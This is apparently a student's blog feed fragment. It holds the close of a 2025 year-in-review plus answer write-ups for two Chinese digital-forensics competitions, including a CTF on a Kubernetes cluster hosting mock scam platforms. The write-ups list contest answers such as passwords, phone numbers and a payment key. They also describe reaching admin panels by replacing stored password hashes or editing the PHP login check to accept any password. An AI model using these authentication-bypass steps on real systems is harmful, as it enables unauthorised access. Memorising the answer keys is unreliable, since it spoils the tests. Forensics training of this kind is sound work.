src="/blog/img/cnblogs/19428712/image-024-a88bc84a2e.png"/><br/>又惊喜又有些不安吧，毕竟还是做得比较粗糙。如果以后有机会，希望能出出25平航一样优质的计算机</p><p>当然还有第一次打剑（和bob少），第一次打台球（和syhbb）各种的尝试，由于教学楼要锁门了，就不细述了。</p><p>总的来说2025年虽充满遗憾，至少我的确在勇敢地去做我想尝试的。2024的我没有写总结，只是祝福自己2025能更勇敢做自己，去探寻自己真正热爱的。<br/>下半年我开始不避讳的把精力的重心转到比赛这边来，在干好本职工作的情况下，更多地参与到社团中来，我比赛使用的名字是Joyooo,也带有希望能开心地打取证的含义。<br/>现在想来，不知是从那哪个环节开始，我确定了自己对电子数据取证的兴趣，或许是从泽佬带入门时“坚持下去一定会有收获“的鼓励，亦或是w强哥在取证这条道路上关键的指引和耐心的交流，又或是覃哥哥不时压力但实则友好的关心。也真的很幸运能遇到社团内诸如梁审秀审超审汪审钶濠等师傅们能一起学习交流，以及覃格格会审霖审kk哥虎哥宝箱哥等优秀学长树立的榜样引路，当然还有王老师的辛勤付出和对社团全力支持。这都让我更有动力。</p><p>目前新的一年的展望，急切地想提升自己取证的水平，更加有自己的节奏。<br/>寒假学习打算：<br/>1.至少10套比赛题带wp上传博客（覃爷钦点）<br/>2.好生学下安卓逆向<br/>3.学习渗透</p><p>最后的碎碎念：愈发觉得缘分是很值得珍惜的东西，能够万千人中相互结识是难能可贵，要对彼此都好一些，希望2026初心不改，万事顺遂！</p><p>附上今年最喜欢的一张照片<br/><img alt="assets/2025年度总结乐观版/be6505f0a1f68334459062573bc3f18f.jpg" loading="lazy" src="/blog/img/cnblogs/19428712/image-025-b4f1b6c5e6.jpg"/></p></div>]]>
    </content>
    <id>https://joyooosama.github.io/blog/2025/12/31/2025-12-31-cnblogs-19428712-2025%E5%B9%B4%E5%BA%A6%E6%80%BB%E7%BB%93%E4%B9%90%E8%A7%82%E7%89%88/</id>
    <link href="https://joyooosama.github.io/blog/2025/12/31/2025-12-31-cnblogs-19428712-2025%E5%B9%B4%E5%BA%A6%E6%80%BB%E7%BB%93%E4%B9%90%E8%A7%82%E7%89%88/"/>
    <published>2025-12-31T15:25:00.000Z</published>
    <summary>前两天的网易云年度总结我的关键词是希望。于我而言，这或许是充满遗憾的一年，但同样不可否认的，我一直在寻找着希望和自我。 2025年，我作出了很多“第一次”的尝试： 第一次踏进辽东三省壮美的雪国：圆了南方孩子从小到大对于雪的每一种梦想： 我大概永远不会忘掉长白山皑皑的雪和晶莹剔透的雾凇 很喜欢的一张）</summary>
    <title>2025年度总结乐观版</title>
    <updated>2025-12-31T15:26:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Joyooo</name>
    </author>
    <category term="取证" scheme="https://joyooosama.github.io/blog/categories/%E5%8F%96%E8%AF%81/"/>
    <category term="取证" scheme="https://joyooosama.github.io/blog/tags/%E5%8F%96%E8%AF%81/"/>
    <category term="CTF" scheme="https://joyooosama.github.io/blog/tags/CTF/"/>
    <content>
      <![CDATA[<div class="blogpost-body cnblogs-markdown" id="cnblogs_post_body"><p>（检材1）请写出最后一次开机时间；（答案格式：1990-01-0101:01:01）<br/>2021-03-10 13:58:15<br/><img alt="assets/2025浙江职业技能大赛复赛（一小部分/file-20251208102535139.png" loading="lazy" src="/blog/img/cnblogs/19382369/image-001-a1c69ac170.png"/><br/>（检材1）嫌疑人近期上网的搜索记录去重统计后，有几条？<br/><img alt="assets/2025浙江职业技能大赛复赛（一小部分/file-20251208112051906.png" loading="lazy" src="/blog/img/cnblogs/19382369/image-002-64c9440ad6.png"/><br/>52<br/>（检材1）嫌疑人最后下载的文件MD5值是？（字母大写）</p><ul><li><strong>第一阶段（16:03:09）</strong>：用户在一个第三方软件站下载了一个名为“夜神安卓模拟器”的文件。但这个文件只有 <strong>890 KB</strong>，这通常是第三方网站提供的“高速下载器”或广告推广包，而不是真正的模拟器软件。</li><li><strong>第二阶段（16:32:25）</strong>：大约 <strong>29分钟后</strong>，用户转到了夜神模拟器的官方网站，下载了完整的安装包（<strong>339 MB</strong>）。<br/><img alt="assets/2025浙江职业技能大赛复赛（一小部分/file-20251208103154140.png" loading="lazy" src="/blog/img/cnblogs/19382369/image-003-003a94f5f1.png"/><br/><img alt="assets/2025浙江职业技能大赛复赛（一小部分/file-20251208105445774.png" loading="lazy" src="/blog/img/cnblogs/19382369/image-004-0c7822f65f.png"/><br/><img alt="assets/2025浙江职业技能大赛复赛（一小部分/file-20251208105514512.png" loading="lazy" src="/blog/img/cnblogs/19382369/image-005-fcfa9f3707.png"/><br/>0d6867f463f0ebcf3b442fa3f4eeaa5d</li></ul><p>（检材1）嫌疑人购买凶器时收货地址是？<br/><img alt="assets/2025浙江职业技能大赛复赛（一小部分/file-20251208112333058.png" loading="lazy" src="/blog/img/cnblogs/19382369/image-006-b373920ee2.png"/><br/>上海市浦东新区金科路2889弄长泰广场麦当劳</p><p>（检材1）贩卖凶器者的手机号码是？<br/>13023161699<br/><img alt="assets/2025浙江职业技能大赛复赛（一小部分/file-20251208112358898.png" loading="lazy" src="/blog/img/cnblogs/19382369/image-007-eacbcfea5c.png"/><br/>（检材1）嫌疑人购买凶器时使用的支付宝账号是？<br/>13764060699<br/><img alt="assets/2025浙江职业技能大赛复赛（一小部分/file-20251208112656668.png" loading="lazy" src="/blog/img/cnblogs/19382369/image-008-41278e679a.png"/><br/>（检材2）嫌疑人上线“lee0689”的备用电话号码是？<br/>用了解下.rar打开以后有个这联系方式文件，然后看得到<br/><img alt="assets/2025浙江职业技能大赛复赛（一小部分/file-20251208112928182.png" loading="lazy" src="/blog/img/cnblogs/19382369/image-009-83690fbf50.png"/><br/>13888658689<br/>（检材2）“组织架构.zip”文件的MD5值是？（字母大写）<br/><img alt="assets/2025浙江职业技能大赛复赛（一小部分/file-20251208113935365.png" loading="lazy" src="/blog/img/cnblogs/19382369/image-010-02c3abf942.png"/><br/>修复文件头后<br/><img alt="assets/2025浙江职业技能大赛复赛（一小部分/file-20251208114011644.png" loading="lazy" src="/blog/img/cnblogs/19382369/image-011-4b90e1aa89.png"/><br/>48a2b64f2184ec3b9ba32ef02def812d</p><p>（检材2）“组织架构.zip”压缩包的密码是？<br/>468219<br/><img alt="assets/2025浙江职业技能大赛复赛（一小部分/file-20251208114312280.png" loading="lazy" src="/blog/img/cnblogs/19382369/image-012-6c09506855.png"/><br/>（检材2）“mm”文件的解密密码是？<br/><img alt="assets/2025浙江职业技能大赛复赛（一小部分/file-20251208132852589.png" loading="lazy" src="/blog/img/cnblogs/19382369/image-013-7c5af670f7.png"/><br/>但是没找到密码只有一个kayfile<br/>估计是在聊天记录里，因为凡数据库有25句话，但火眼里只有21句，但是数据库的内容加了密不好解，遂放弃</p><p>（检材2）“mm”文件的解密密钥文件的MD5值是？（字母大写）<br/><img alt="assets/2025浙江职业技能大赛复赛（一小部分/file-20251208193016402.png" loading="lazy" src="/blog/img/cnblogs/19382369/image-014-d61483f849.png"/><br/>93C7D6778012D8B8EBF3E22CDE41E68B</p><p>（检材2）VIP15用户“周胜考”的联系方式是？<br/><img alt="assets/2025浙江职业技能大赛复赛（一小部分/file-20251208123922464.png" loading="lazy" src="/blog/img/cnblogs/19382369/image-015-f4a7b7f135.png"/></p><p>（检材3）嫌疑人登录的博客网站类型是？<br/><img alt="assets/2025浙江职业技能大赛复赛（一小部分/file-20251208193320793.png" loading="lazy" src="/blog/img/cnblogs/19382369/image-016-73ce55b3f0.png"/><br/>一个个试，首先过滤wordpress<br/><img alt="assets/2025浙江职业技能大赛复赛（一小部分/file-20251208193404756.png" loading="lazy" src="/blog/img/cnblogs/19382369/image-017-f2f93f8e9e.png"/><br/>看到有个login.php，很像登陆<br/><img alt="assets/2025浙江职业技能大赛复赛（一小部分/file-20251208193445141.png" loading="lazy" src="/blog/img/cnblogs/19382369/image-018-a80b6721eb.png"/><br/>追踪流问问ai：<br/><img alt="assets/2025浙江职业技能大赛复赛（一小部分/file-20251208193610067.png" loading="lazy" src="/blog/img/cnblogs/19382369/image-019-9afb37388a.png"/><br/>wordpress<br/>（保险起见过滤了一下另外几个发现都没有）</p><p>（检材3）嫌疑人成功登录博客网站账号的密码是？<br/>POST包后返回状态为200，说明登陆成功</p><p>1@34qwer&lt;&gt;?</p><p>（检材3）嫌疑人的账户名是?<br/>David</p><p>（检材3）X系统的管理密码是？<br/>dGhlIHBhc3N3b3JkIGIzOiBIN<br/>HBweUhBcHB5SGFwcHk</p><p>提取的zip喂加密恢复，然后得到的password明显是宽高隐写，给他放到随波逐流里<br/><img alt="assets/2025浙江职业技能大赛复赛（一小部分/file-20251209101818259.png" loading="lazy" src="/blog/img/cnblogs/19382369/image-020-85cb2001ee.png"/><br/>提示信息<br/>1.日志审阅、注册表分析<br/>2.VC容器的不同挂载方法</p></div>]]>
    </content>
    <id>https://joyooosama.github.io/blog/2025/12/22/2025-12-22-cnblogs-19382369-2025%E6%B5%99%E6%B1%9F%E8%81%8C%E4%B8%9A%E6%8A%80%E8%83%BD%E5%A4%A7%E8%B5%9B%E5%A4%8D%E8%B5%9B%EF%BC%88%E4%B8%80%E5%B0%8F%E9%83%A8%E5%88%86/</id>
    <link href="https://joyooosama.github.io/blog/2025/12/22/2025-12-22-cnblogs-19382369-2025%E6%B5%99%E6%B1%9F%E8%81%8C%E4%B8%9A%E6%8A%80%E8%83%BD%E5%A4%A7%E8%B5%9B%E5%A4%8D%E8%B5%9B%EF%BC%88%E4%B8%80%E5%B0%8F%E9%83%A8%E5%88%86/"/>
    <published>2025-12-22T06:47:00.000Z</published>
    <summary>（检材1）请写出最后一次开机时间；（答案格式：1990-01-0101:01:01） 2021-03-10 13:58:15 （检材1）嫌疑人近期上网的搜索记录去重统计后，有几条？ 52 （检材1）嫌疑人最后下载的文件MD5值是？（字母大写） 第一阶段（16:03:09）：用户在一个第三方软件站下载</summary>
    <title>2025浙江职业技能大赛复赛（一小部分</title>
    <updated>2025-12-22T06:47:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Joyooo</name>
    </author>
    <category term="取证" scheme="https://joyooosama.github.io/blog/categories/%E5%8F%96%E8%AF%81/"/>
    <category term="取证" scheme="https://joyooosama.github.io/blog/tags/%E5%8F%96%E8%AF%81/"/>
    <category term="CTF" scheme="https://joyooosama.github.io/blog/tags/CTF/"/>
    <category term="逆向" scheme="https://joyooosama.github.io/blog/tags/%E9%80%86%E5%90%91/"/>
    <content>
      <![CDATA[<div class="blogpost-body cnblogs-markdown" id="cnblogs_post_body"><h1 id="joyooo獬豸杯wp">Joyooo獬豸杯wp</h1><h1 id="服务器取证">服务器取证</h1><h2 id="1该集群主节点操作系统版本是标准格式100100100">1.该集群主节点操作系统版本是？[标准格式：100.100.100]</h2><p>7.9.2009</p><p><img alt="原图暂不可用" data-original-src="https://www.cnblogs.com/Joyooo/p/Joyooo%E7%8D%AC%E8%B1%B8%E6%9D%AFwp.assets/image-20250323164950017.png" loading="lazy" src="/blog/img/cnblogs/missing-image.svg"/><span class="cnblogs-missing-image-note">原图源站暂不可访问：<a href="https://www.cnblogs.com/Joyooo/p/Joyooo%E7%8D%AC%E8%B1%B8%E6%9D%AFwp.assets/image-20250323164950017.png" rel="noopener" target="_blank">原始链接</a></span></p><p>火眼扫出来系统信息里发现是 7.9.2009 (Core)</p><h2 id="2该集群创建时间是标准格式0000-00-00t000000z">2.该集群创建时间是？[标准格式：0000-00-00T00:00:00Z]</h2><p>2024-06-24T11:28:12Z</p><p>输入命令：<strong>kubectl get namespace default -o yaml</strong> 得到答案</p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250407191555765.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-002-c9b5d9834c.png"/></p><p>正常来说输入<strong>kubectl cluster-info</strong>查看集群创建时间，但是这道题没出来，学到集群创建时间和命名空间（系统默认的）创建时间很接近，直接查看命名空间创建时间</p><p>（此命令会以 <strong>YAML 格式（</strong>一种人类可读的数据序列化格式<strong>）</strong>输出 <code>default</code> 命名空间的详细信息，可以在输出中找到 <code>creationTimestamp</code> 字段来获取创建时间）</p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250407155555563.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-003-b5d662031b.png"/></p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250407155543571.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-004-bdd59a0f4e.png"/></p><h2 id="3-该集群共有多少个命名空间标准格式100">3. 该集群共有多少个命名空间？[标准格式：100]</h2><p><strong>7</strong></p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250407191138249.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-005-2777c55b1f.png"/></p><p>官方wp里<strong>kubectl get namespace --no-headers | wc -l</strong>固然可以出来</p><p>感觉不如直接ns一个一个数</p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250407191905254.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-006-ba31d613ba.png"/></p><h2 id="4-该集群所有命名空间内总共有多少个pod标准格式100">4 该集群所有命名空间内总共有多少个pod？[标准格式：100]</h2><p><strong>19</strong></p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250407193257370.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-007-7b60b75d9a.png"/></p><p>这个多一点，用掐头去尾计数法就方便了，如上</p><h2 id="5-请给出该集群所使用的cni网络插件及其版本标准格式abc-v111">5 请给出该集群所使用的cni网络插件及其版本？[标准格式：abc-V1.1.1]</h2><p><strong>flannel-V1.0.0</strong></p><p>大部分 <strong>CNI 插件的配置文件</strong>位于<strong><code>/etc/cni/net.d/</code></strong>目录下，通过查看这些文件能确定插件类型和版本信息。（这道题属于少数情况了）</p><p><strong>ls /etc/cni/net.d/</strong>可查看</p><p>这题在<strong>/opt/cni/bin/</strong>下</p><p><strong>ls -l /opt/cni/bin/</strong>可查看</p><p><strong>/opt/cni/bin/flannel -version</strong>可查看finnal版本</p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250407201137254.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-008-92362abd59.png"/></p><h2 id="6-其中打金平台的后台登录地址跳转文件是标准格式abcphp">6 其中打金平台的后台登录地址跳转文件是？[标准格式：abc.php]</h2><p><strong>WIdbdgd1Us.php</strong></p><p>宝塔面板上找到这个网站，应为是登录，操作日志搜login/,找到＂<a href="http://www.mtbtsdafda.com/index.php/systemlogined/login/index%E5%90%8E%E5%8F%B0%E7%99%BB%E5%BD%95%E7%BD%91%E5%9D%80com%E5%BE%80%E5%90%8E%E7%9A%84%E6%98%AF%E8%B7%B3%E8%BD%AC%E7%9A%84%EF%BC%8C%E5%9C%A8%E6%89%80%E9%9C%80%E8%A6%81%E7%9A%84php%E9%87%8C%E5%9B%A0%E8%AF%A5%E6%9C%89%EF%BC%8C%E6%89%80%E4%BB%A5%E5%8F%96%E8%B7%B3%E8%BD%AC%E5%88%B0%E7%9A%84%E9%83%A8%E5%88%86**index.php/systemlogined/login/index" rel="noopener nofollow" target="_blank">http://www.mtbtsdafda.com/index.php/systemlogined/login/index后台登录网址com往后的是跳转的，在所需要的php里因该有，所以取跳转到的部分**index.php/systemlogined/login/index</a></p><h1 id="文件里面搜索带这个的找到答案header在这里是指向的意思">文件里面搜索带这个的找到答案（header在这里是指向的意思</h1><p>其实网站根目录也就俩php文件，<strong>默认index.php</strong>那么另一个应该就是了，可以自行测试一下</p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250407213845597.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-009-deafba7585.png"/></p><h2 id="7-其中打金平台密码加密算法是标准格式abc">7 其中打金平台密码加密算法是？[标准格式：abc]</h2><p><strong>sha1</strong></p><p>在该<strong>网站目录</strong>下搜索password，看到是sha1</p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250408084442598.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-010-dedf3f291f.png"/></p><h2 id="8-其中打金平台中13067137585用户的累计产量有多少标准格式10000">8 其中打金平台中"13067137585"用户的累计产量有多少？[标准格式：100.00]</h2><p><strong>43853.21</strong>、</p><p>诺神niub，请教了家诺，先</p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250408093106586.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-011-6bb778052a.png"/></p><p>找到对应网站点管理</p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250408093144752.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-012-69fc377ad4.png"/></p><p>跳转以后点数据库，查询输入13067137585，在“member”里找到这个人的账号密码，密码不好破解，直接用自己设的密码sha1加密一下然后改掉</p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250408093350215.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-013-0910b5741f.png"/></p><p>在返回登陆界面用自己改的密码登录就可以了，进来看到答案</p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250408093034585.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-014-1305598bea.png"/></p><h2 id="9-其中打金平台会员组最高溢价比例是多少标准格式1000">9 其中打金平台会员组最高溢价比例是多少？[标准格式：10.00]</h2><p><strong>1.70</strong></p><p>systomlogin后台登陆</p><p>loginaction登陆反应（可进去改判断条件</p><p>在找到跳转后台登陆的php，进去能看判断条件，对//验证用户名和密码做修改，可以使得密码失效。</p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250408212949773.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-015-4e41b00058.png"/></p><p>然后之前跳转后台的文件里有后台的网址，打开用账号admin登入（密码随便输）</p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250408213155049.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-016-f895819d63.png"/></p><p>可以看到答案为1.70</p><h2 id="10-其中打金平台会员推广人数最多的会员其姓名是标准格式名字">10 其中打金平台会员推广人数最多的会员其姓名是？[标准格式：名字]</h2><p><strong>李弈欣</strong></p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250409192537041.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-017-195ee36e31.png"/></p><p>后台直接就能看到</p><h2 id="11-其中打金平台最早一次备份数据库的时间asiashanghai是标准格式2024-01-01-010101">11 其中打金平台最早一次备份数据库的时间（Asia/Shanghai）是？[标准格式：2024-01-01-01:01:01]</h2><p><strong>2019-05-06-22:27:57</strong></p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250409192903621.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-018-22cecbefd2.png"/></p><p>数据库里找到这一条然额是错的。</p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250409194045519.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-019-1b733fe88a.png"/></p><p>发现可以从 权限管理-操作日志里找到网站备份数据库的时间。（在对应的日志里找备份时间）</p><p>当然在数据库里找也是可以的：在表对象概览里的注释一栏找到系统操作日志表：ds_log，双击打开，搜索备份数据库。两条分别转换时间戳找早的那条。</p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250409194749566.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-020-c548fcadc3.png"/></p><h2 id="12-其中金瑞币jinrui-coin平台图片上传平台是哪种类型标准格式腾讯云abc">12 其中金瑞币（JINRUI COIN）平台图片上传平台是哪种类型？[标准格式：腾讯云ABC]</h2><p><strong>阿里云</strong></p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250409195853076.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-021-4a4951d85a.png"/></p><p>这个是查看网站的文件夹的路径</p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250409195954252.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-022-a23b47b19c.png"/></p><p>找到对应文件夹搜索“云”就出来了。</p><h2 id="13-其中金瑞币平台手机直充接口是什么标准格式httpxxxxxxxxxxxx">13 其中金瑞币平台手机直充接口是什么？[标准格式：<a href="http://xxx.xxx.xxx/xxx" rel="noopener nofollow" target="_blank">http://xxx.xxx.xxx/xxx</a>]</h2><p><strong><a href="http://op.juhe.cn/ofpay/mobile/onlineorder" rel="noopener nofollow" target="_blank">http://op.juhe.cn/ofpay/mobile/onlineorder</a></strong></p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250409203329061.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-023-3b85f93f98.png"/></p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250409203341789.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-024-fc40ba7a08.png"/></p><p>在网站的源代码里搜索能搜到</p><h2 id="14-其中金瑞币平台后台登录地址是标准格式httpxxxxxxxxxxxx">14 其中金瑞币平台后台登录地址是？[标准格式：<a href="http://xxx/xxx/xxx.xxx" rel="noopener nofollow" target="_blank">http://xxx/xxx/xxx.xxx</a>]</h2><p><strong><a href="http://www.gsjksu2kig.com/admin.php/login/index.html" rel="noopener nofollow" target="_blank">http://www.gsjksu2kig.com/admin.php/login/index.html</a></strong></p><p>翻服务器文件的时候发现了密码是加盐MD5方式</p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250409205135202.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-025-d1c3c92a6e.png"/></p><p>可以用浏览器自带的搜索词高亮“空地ctrl+F”</p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250409205503836.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-026-9f1de2a5b1.png"/></p><p>就找着了嗨嗨嗨</p><h2 id="15-其中金瑞币平台中密码加密盐值是标准格式abc1d">15 其中金瑞币平台中密码加密盐值是？[标准格式：AbC1d]</h2><p><strong>GWwRbMOPJYZCvE5gembG</strong></p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250409205916717.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-027-7d9a294626.png"/></p><p>一搜即得</p><h2 id="16-其中金瑞币平台中交易手续费是百分之多少标准格式100">16 其中金瑞币平台中交易手续费是百分之多少？[标准格式：100]</h2><p><strong>36</strong></p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250409210150391.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-028-f2522a32dd.png"/></p><p>后台进来了多翻一翻就找到了</p><h2 id="17-其中金瑞币平台中目前有几种充值方式标准格式100">17 其中金瑞币平台中目前有几种充值方式？[标准格式：100]</h2><p><strong>3</strong></p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250409210239296.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-029-6797f17e60.png"/></p><p>如图</p><h2 id="18-二号集群节点有源代码的网站目录有几个正在运行的除外标准格式1">18 二号集群节点有源代码的网站目录有几个？（正在运行的除外）[标准格式：1]</h2><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250409211614743.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-030-9c158970b3.png"/></p><hr/><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250409211815379.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-031-22a569c5d7.png"/></p><p>一般来说服务器集群01为<strong>主节点</strong>，02为<strong>一号节点</strong>，03为<strong>二号节点</strong></p><p>连上E03用find / -name index.html</p><p>用这个指令确实能看到opt下有大量未运行源码，找到opt目录下看文件名能看出5个网站目录。</p><h2 id="19-二号集群节点memcached端口是标准格式100">19 二号集群节点memcached端口是？[标准格式：100]</h2><hr/><p><strong>11211</strong></p><p>003里搜搜发现：<img alt="assets/Joyooo獬豸杯wp.assets/image-20250412083418535.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-032-1108950384.png"/></p><p><strong>port</strong>是端口的意思</p><p>尝试下直接全局搜索<strong>‘port’</strong></p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250412084417537.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-033-2b6496329b.png"/></p><p>自然是可以的。</p><p>还可以在003node2虚拟机里输入命令得到答案11211来的更直接</p><p>命令：<strong>netstat -anpt</strong></p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250412084121722.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-034-548db9fd7b.png"/></p><p>可以看到memcached端口</p><h2 id="20-盲盒平台中余额最多的用户是标准格式abc1d">20 盲盒平台中余额最多的用户是？[标准格式：AbC1d]</h2><p><strong>ZrAuyMT1tyo</strong></p><p>改host地址“C:\Windows\System32\drivers\etc”</p><p>进去发现啊，数据库连不上，进不去<img alt="assets/Joyooo獬豸杯wp.assets/image-20250412090815195.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-035-5012e93dc6.png"/></p><p>回来一看炸刚了，数据库编辑选项都无，咋搞呢，大佬求解!!<img alt="assets/Joyooo獬豸杯wp.assets/image-20250412090838360.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-036-4fd156b6ed.png"/></p><p>发现这个数据库在地址200，003服务器在201，所以先把002也开起，同步以后，再打开<img alt="assets/Joyooo獬豸杯wp.assets/image-20250412093037450.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-037-42548f9b96.png"/>发现第一个网站就是盲盒平台，奈何数据库还是不知道咋连上去</p><p>翻翻日志找到了后台网址（还是搜login</p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250412095839323.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-038-edb862d19d.png"/></p><p>搜了下用户名看到需要的数据库用户名<img alt="assets/Joyooo獬豸杯wp.assets/image-20250412100226713.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-039-c37a277c1c.png"/></p><p>找家诺问了下</p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250412103039989.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-040-36bdf766f9.png"/></p><p>在200的宝塔里面点同步数据库，把需要的数据库同步下来了<strong>g3xiwj</strong></p><p>然后用之前的宝塔里面的账号密码（这里要先用密码改密，因为未设置），就进去了数据库。</p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250412105026242.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-041-51bd2db165.png"/></p><p>数据库里发现后台密码</p><p>之前搜pwd时候有看到加密方式：“admin密码”这样直接MD5</p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250412105223974.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-042-b5700b776d.png"/></p><p>自己构建一个改回去</p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250412105544140.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-043-9979bc81bb.png"/></p><p>登进来</p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250412105514407.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-044-e151ad2ddf.png"/></p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250412120733410.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-045-dce9a54c9f.png"/></p><p>看到答案</p><h2 id="21-盲盒平台可选二级域名有多少个标准格式100">21 盲盒平台可选二级域名有多少个？[标准格式：100]</h2><p><strong>13</strong></p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250412120855982.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-046-906e2ad6aa.png"/></p><p>后台能翻到</p><h2 id="22-盲盒平台的支付密钥是标准格式abc1d">22 盲盒平台的支付密钥是？[标准格式：AbC1d]</h2><p><strong>LDAWIucAQQGQp7rEE4nSlvzQMKZxTxopqNSwjL8PcAIBbVLJkh</strong></p><hr/><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250412120946632.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-047-490229b115.png"/></p><h2 id="23-盲盒平台中拥有分站的用户名是标准格式123abc">23 盲盒平台中拥有分站的用户名是？[标准格式：123abc]</h2><p><strong>5432ef</strong></p><h2 id="_"><img alt="assets/Joyooo獬豸杯wp.assets/image-20250412121046537.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-048-2ca3b71b2f.png"/></h2><p>后台可翻到</p><h2 id="24-借贷平台wwwjiedai0rmrcom中验证码发送接口域名是标准格式httpxxxxxxxxx">24 借贷平台（www.jiedai0rmr.com）中验证码发送接口域名是？[标准格式：<a href="http://xxx.xxx.xxx/" rel="noopener nofollow" target="_blank">http://xxx.xxx.xxx/</a>]</h2><p><strong><a href="http://api.smsbao.com/" rel="noopener nofollow" target="_blank">http://api.smsbao.com/</a></strong></p><p>文件里搜索“验证码”找得到端口</p><p>我宝塔面板获取这个文件的时候一直在转出不来，就copy一下</p><p><img alt="assets/Joyooo獬豸杯wp.assets/df122fcb2e3347f6882b6c3512a138d5.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-049-dd87b205e7.png"/></p><p><img alt="assets/Joyooo獬豸杯wp.assets/481dcd25ed564c51875aec390705430d.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-050-5a686e7302.png"/></p><p>问了问ai判断其作用的方法</p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250412134034752.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-051-b0fbbf99bc.png"/></p><h2 id="25-借贷平台后台登录密码的加密算法中共使用了多少次hash函数加密标准格式10">25 借贷平台后台登录密码的加密算法中共使用了多少次hash函数加密？[标准格式：10]</h2><p><strong>4</strong></p><p>搜索amdin发现有个加密方式是getpass</p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250412181143291.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-052-d681abd7b5.png"/></p><p>搜getpass能出来加密方式</p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250412181309145.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-053-e3cbde0ad7.png"/></p><p>也可以更简单，直接搜sha1，直接就出来了</p><p>加密方法：<img alt="assets/Joyooo獬豸杯wp.assets/image-20250412182107415.png" loading="lazy" 